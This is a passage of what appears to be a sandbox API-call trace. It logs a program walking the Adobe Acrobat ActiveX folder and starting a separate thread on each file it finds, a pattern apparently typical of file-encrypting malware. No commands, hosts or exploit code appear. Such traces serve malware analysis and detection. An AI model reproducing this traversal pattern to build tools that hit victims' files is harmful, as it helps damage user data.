ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.ESP", cAlternateFileName="")) returned 1 [0051.150] wcscmp (_String1="AcroPDF.ESP", _String2=".") returned 1 [0051.150] wcscmp (_String1="AcroPDF.ESP", _String2="..") returned 1 [0051.150] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438a78 [0051.150] wcscpy (in: _Dest=0x438a78, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.150] wcscat (in: _Dest=0x438a78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.150] wcscat (in: _Dest=0x438a78, _Source="AcroPDF.ESP" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ESP") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ESP" [0051.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438a78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc08 [0051.151] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.EUQ", cAlternateFileName="")) returned 1 [0051.151] wcscmp (_String1="AcroPDF.EUQ", _String2=".") returned 1 [0051.151] wcscmp (_String1="AcroPDF.EUQ", _String2="..") returned 1 [0051.151] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438b10 [0051.151] wcscpy (in: _Dest=0x438b10, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.151] wcscat (in: _Dest=0x438b10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.151] wcscat (in: _Dest=0x438b10, _Source="AcroPDF.EUQ" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.EUQ") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.EUQ" [0051.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc0c [0051.152] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.FRA", cAlternateFileName="")) returned 1 [0051.152] wcscmp (_String1="AcroPDF.FRA", _String2=".") returned 1 [0051.152] wcscmp (_String1="AcroPDF.FRA", _String2="..") returned 1 [0051.153] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438ba8 [0051.153] wcscpy (in: _Dest=0x438ba8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.153] wcscat (in: _Dest=0x438ba8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.153] wcscat (in: _Dest=0x438ba8, _Source="AcroPDF.FRA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.FRA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.FRA" [0051.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438ba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc10 [0051.154] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.HRV", cAlternateFileName="")) returned 1 [0051.154] wcscmp (_String1="AcroPDF.HRV", _String2=".") returned 1 [0051.154] wcscmp (_String1="AcroPDF.HRV", _String2="..") returned 1 [0051.154] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438c40 [0051.154] wcscpy (in: _Dest=0x438c40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.154] wcscat (in: _Dest=0x438c40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.154] wcscat (in: _Dest=0x438c40, _Source="AcroPDF.HRV" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HRV") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HRV" [0051.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc14 [0051.155] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.HUN", cAlternateFileName="")) returned 1 [0051.155] wcscmp (_String1="AcroPDF.HUN", _String2=".") returned 1 [0051.155] wcscmp (_String1="AcroPDF.HUN", _String2="..") returned 1 [0051.155] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438cd8 [0051.155] wcscpy (in: _Dest=0x438cd8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.155] wcscat (in: _Dest=0x438cd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.155] wcscat (in: _Dest=0x438cd8, _Source="AcroPDF.HUN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HUN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HUN" [0051.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc18 [0051.157] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.ITA", cAlternateFileName="")) returned 1 [0051.157] wcscmp (_String1="AcroPDF.ITA", _String2=".") returned 1 [0051.157] wcscmp (_String1="AcroPDF.ITA", _String2="..") returned 1 [0051.157] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438d70 [0051.157] wcscpy (in: _Dest=0x438d70, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.157] wcscat (in: _Dest=0x438d70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.157] wcscat (in: _Dest=0x438d70, _Source="AcroPDF.ITA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ITA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ITA" [0051.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc1c [0051.158] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.JPN", cAlternateFileName="")) returned 1 [0051.158] wcscmp (_String1="AcroPDF.JPN", _String2=".") returned 1 [0051.158] wcscmp (_String1="AcroPDF.JPN", _String2="..") returned 1 [0051.158] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438e08 [0051.158] wcscpy (in: _Dest=0x438e08, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.158] wcscat (in: _Dest=0x438e08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.158] wcscat (in: _Dest=0x438e08, _Source="AcroPDF.JPN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.JPN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.JPN" [0051.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc20 [0051.159] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.KOR", cAlternateFileName="")) returned 1 [0051.159] wcscmp (_String1="AcroPDF.KOR", _String2=".") returned 1 [0051.159] wcscmp (_String1="AcroPDF.KOR", _String2="..") returned 1 [0051.159] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438ea0 [0051.159] wcscpy (in: _Dest=0x438ea0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.159] wcscat (in: _Dest=0x438ea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.159] wcscat (in: _Dest=0x438ea0, _Source="AcroPDF.KOR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.KOR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.KOR" [0051.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc24 [0051.160] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.NLD", cAlternateFileName="")) returned 1 [0051.160] wcscmp (_String1="AcroPDF.NLD", _String2=".") returned 1 [0051.161] wcscmp (_String1="AcroPDF.NLD", _String2="..") returned 1 [0051.161] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438f38 [0051.161] wcscpy (in: _Dest=0x438f38, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.161] wcscat (in: _Dest=0x438f38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.161] wcscat (in: _Dest=0x438f38, _Source="AcroPDF.NLD" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NLD") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NLD" [0051.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc28 [0051.162] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.NOR", cAlternateFileName="")) returned 1 [0051.162] wcscmp (_String1="AcroPDF.NOR", _String2=".") returned 1 [0051.162] wcscmp (_String1="AcroPDF.NOR", _String2="..") returned 1 [0051.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438fd0 [0051.162] wcscpy (in: _Dest=0x438fd0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.162] wcscat (in: _Dest=0x438fd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.162] wcscat (in: _Dest=0x438fd0, _Source="AcroPDF.NOR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NOR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NOR" [0051.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc2c [0051.163] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.POL", cAlternateFileName="")) returned 1 [0051.163] wcscmp (_String1="AcroPDF.POL", _String2=".") returned 1 [0051.163] wcscmp (_String1="AcroPDF.POL", _String2="..") returned 1 [0051.163] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439068 [0051.163] wcscpy (in: _Dest=0x439068, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.163] wcscat (in: _Dest=0x439068, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.163] wcscat (in: _Dest=0x439068, _Source="AcroPDF.POL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.POL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.POL" [0051.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc30 [0051.165] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.PTB", cAlternateFileName="")) returned 1 [0051.165] wcscmp (_String1="AcroPDF.PTB", _String2=".") returned 1 [0051.165] wcscmp (_String1="AcroPDF.PTB", _String2="..") returned 1 [0051.165] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439100 [0051.165] wcscpy (in: _Dest=0x439100, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.165] wcscat (in: _Dest=0x439100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.165] wcscat (in: _Dest=0x439100, _Source="AcroPDF.PTB" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.PTB") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.PTB" [0051.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc34 [0051.166] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.RUM", cAlternateFileName="")) returned 1 [0051.166] wcscmp (_String1="AcroPDF.RUM", _String2=".") returned 1 [0051.166] wcscmp (_String1="AcroPDF.RUM", _String2="..") returned 1 [0051.166] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439198 [0051.166] wcscpy (in: _Dest=0x439198, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.166] wcscat (in: _Dest=0x439198, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.166] wcscat (in: _Dest=0x439198, _Source="AcroPDF.RUM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUM" [0051.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc38 [0051.167] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.RUS", cAlternateFileName="")) returned 1 [0051.167] wcscmp (_String1="AcroPDF.RUS", _String2=".") returned 1 [0051.167] wcscmp (_String1="AcroPDF.RUS", _String2="..") returned 1 [0051.167] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439230 [0051.167] wcscpy (in: _Dest=0x439230, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.167] wcscat (in: _Dest=0x439230, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.167] wcscat (in: _Dest=0x439230, _Source="AcroPDF.RUS" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUS") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUS" [0051.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc3c [0051.169] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SKY", cAlternateFileName="")) returned 1 [0051.169] wcscmp (_String1="AcroPDF.SKY", _String2=".") returned 1 [0051.169] wcscmp (_String1="AcroPDF.SKY", _String2="..") returned 1 [0051.169] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4392c8 [0051.169] wcscpy (in: _Dest=0x4392c8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.169] wcscat (in: _Dest=0x4392c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.169] wcscat (in: _Dest=0x4392c8, _Source="AcroPDF.SKY" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SKY") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SKY" [0051.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4392c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc40 [0051.170] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, 